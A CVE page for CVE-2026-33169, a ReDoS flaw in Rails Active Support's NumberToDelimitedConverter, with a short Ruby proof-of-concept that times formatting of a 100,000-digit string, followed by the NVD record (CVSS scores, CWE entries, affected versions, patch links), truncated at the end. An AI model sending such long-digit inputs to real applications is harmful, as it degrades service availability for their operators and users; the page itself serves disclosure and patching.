CVE-2026-33169

# PoC for CVE-2026-33169: ReDoS in NumberToDelimitedConverter # This script demonstrates the quadratic time complexity when formatting a long number string. require 'active_support/core_ext/numeric/conversions' require 'benchmark' # Generate a long string of digits to trigger the vulnerability # Adjust the length based on system resources to observe the delay long_number_string = "1" * 100000 puts "Starting ReDoS attack simulation on NumberToDelimitedConverter..." # Benchmark the formatting operation time = Benchmark.realtime do # The internal call to gsub! with the problematic regex happens here result = ActiveSupport::NumberHelper.number_to_delimited(long_number_string) end puts "Processing completed." puts "Time elapsed: #{time.round(2)} seconds"

{"cve": {"id": "CVE-2026-33169", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:28.113", "lastModified": "2026-03-24T18:01:08.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. `NumberToDelimitedConverter` uses a lookahead-based regular expression with `gsub!` to insert thousands delimiters. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, the interaction between the repeated lookahead group and `gsub!` can produce quadratic time complexity on long digit strings. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch."}, {"lang": "es", "value": "Active Support es un conjunto de herramientas de bibliotecas de soporte y extensiones del núcleo de Ruby extraídas del framework Rails. 'NumberToDelimitedConverter' utiliza una expresión regular basada en lookahead con 'gsub!' para insertar delimitadores de millares. Antes de las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1, la interacción entre el grupo lookahead repetido y 'gsub!' puede producir una complejidad de tiempo cuadrática en cadenas de dígitos largas. Las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1 contienen un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.3.1", "matchCriteriaId": "D9DC6CB9-DC6C-4CBB-9806-3936ADBC8F1B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4.1", "matchCriteriaId": "FA8791E1-8B96-43F6-A3EC-A7E60D700330"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2.1", "matchCriteriaId": "978E0135-D14B-41DE-87E4-CF059A23E189"}]}]}], "references": [{"url": "https://github.com/rails/rails/commit/29154f1097da13d48fdb3200760b3e3da66dcb11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/b54a4b373c6f042cab6ee2033246b1c9ecc38974", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/ec1a0e215efd27a3b3911aae6df978a80f456a49", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/releases/tag/v7.2.3.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/rails/rails/releases/tag/v8.0.4.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/rails/rails/releases/tag/v8.1.2.1", "source": "security-advisories@git ... (truncated)